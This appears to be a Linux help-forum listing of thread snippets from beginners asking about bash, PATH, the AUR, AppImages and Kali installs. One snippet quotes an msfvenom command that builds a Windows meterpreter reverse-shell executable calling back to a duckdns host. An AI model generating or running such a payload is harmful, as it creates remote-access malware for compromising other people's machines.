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    What’s the difference between bash and default terminal?

    I am very very new to Linux, and when I’m installing anaconda, I noticed that the conda command can only be used after I type “bash” and start using the bash console. What’s the difference between bash and the default terminal?
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    Fresh Arch Install: Can no longer clone from AUR

    Yesterday, I installed Arch, and I managed to successfully install a few packages (Zoom, among them) from the AUR. Note I shutdown and restarted my computer successfully a few times yesterday, and I managed to install all the packages from the AUR after my initial session on Arch But today, I...
  3. SpongeB0B

    [Solved] how launch a interactive terminal for an user from .profile

    Hi everyone, I was looking how to Launch command once at login per user. This is now working thanks to @NorthWest But I would like to launch for the user a terminal to change his password like this -> xfce4-terminal -e 'passwd' from a script that is being called from ~/.profile see: Launch...
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    Terminal shows a warning while installing: Not on PATH - how to fix? (SOLVED)

    I am trying to install "youtube-dl" and this warning is shown in my command line: WARNING: The script youtube-dl is installed in '/home/linuxmint/.local/bin' which is not on PATH. Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location...
  5. smooth_buddha

    What terminal emulator do you use?

    Im currently using a teminal emulator called "Terminology" its quite fun and customziable. I discovered it by using Bodhi linux, that distro has terminology as default terminal
  6. Adithyansm

    How to get an autocompletion in terminal Zorin bash shell [SOLVED]

    I have been using and learning kali for a couple of months and am used to its terminal. Like it will show a preview of previously typed command and we can use arrow keys to type the whole command and now I am using Zorin (Xfce) bash shell and missing that feature very much. Is there any way...
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    $PATH is not set properly

    Hi, I am using Ubuntu 64-bit on a VM and installed an app, added it to $PATH using export PATH=$PWD/bin:$PATH in my terminal (T1). Worked fine. Then i wanted to use the command in another terminal (T2) and got an error message that the command is unknown (exactly that, no more information). I...
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    Permission Denied

    I need help. when i write this code i can't access desktop. msfvenom -p windows/meterpreter/reverse_tcp_dns LHOST=****.duckdns.org LPORT=**** -f exe > /root/Desktop/maceradg.exe sh: 1: cannot create /root/Desktop/maceradg.exe: Permission denied
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    recon-ng returning "invalid nameserver" error

    I was taking a course on ethical hacking where I came across a problem on running a tool on linux kali. In the video I saw the user use recon-ng to get info on a particular site but when I followed the exact steps I get the following error: [!] invalid nameserver. I'm typing below all the...
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    recon-ng returning "invalid nameserver" error

    I was taking a course on ethical hacking where I came across a problem on running a tool on linux kali. In the video I saw the user use recon-ng to get info on a particular site but when I followed the exact steps I get the following error: [!] invalid nameserver. I'm typing below all the...
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    [Solved] Running .Appimage files

    Hi, I've recently downloaded Linux for the first time on my Chromebook and i'm trying to install unity hub. The problem is the downloaded file is in the .AppImage format which i can't run. I did some research and found out you have to make it executable with the command "chmod +x...
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    (Solved) - Elementary OS Installation Issues

    I just downloaded elementary OS a few hours ago. Managed to fix them thanks to a 54 year old gentleman from my previous thread. But now i have a new issue. I watched a video on YouTube from average linux user. In that he details 15 things you can do to make the OS better. But i dont know how to...
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    nvm solved

    ... I don't know how to delete a post
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    hey, I'd like to become "that guy" who only boots up windows on virtual machines to play games while using mainly linux...

    problem is. I don't know where to start or what to learn. the terminal? which distro should I start with and which one should I end on? obviously all this sounds very generic and over-asked, yet I'd like to clarify that I had prior experience with linux. Pop!_OS in particular, I used it for...
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    [SOLVED(through 'tmux')]How to scroll up/down in debian console(not xterm, ...)?

    Hello, Im new to the debian(and company), but 2 yrs. old to Ubuntu and Mint. May i ask that how do i scroll up and down in the console of the debian buster 10.6(installed through network-install.img)? host: PC, BIOS, amd64, 4GiB, 750GB, Core_i3(2nd, M-series). not-working: Shift+PgUp/PgDown...
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    Sdout stream a command into the same file?

    I do not know if I expressed myself well in the title, but please correct me if I am wrong. Here I have a beginner problem: I have a file with multiple lines of code, and I can number lines of code with nl command, now I want to number the lines but i want to stream the output into the same...
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    Question about complete bootable os and all program copy in live ubuntu using dd command

    I am upgrading from a 1 tb sata hdd to a 2 tb pciexpress ssd. The old drive is using around 700 gig of space with windows 10 load and my games and programs etc. My plan is to boot to ubuntu live session and use dd command to copy the old drive exactly how the data is written on it to make the...
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    Kali in text mode only

    i formatted my PC with new iso for kali, when the SO is starting, dont show the interface, is staying in text mode only, and command common is not accepted. What i need do for fix it?
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    GNOME Desktop Environment Not Working

    I'm able to open gnome classic but trying to open the default gnome from the login screen, will result in a window showing up saying "Oh no something went wrong..." (btw idk but two gnomes showes up when im picking a desktop envoirment)I just installed kali linux and after installation it opened...
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    Entering terminal commands with another terminal or a programm

    I want to try setting up a linux server that should host a minecraft server, now the console from the minecraft server is very important (in and output), so how could i get the in/output to another terminal window (like typing "send commandXYZ to minecraftConsole")? Is it maybe possible to do...
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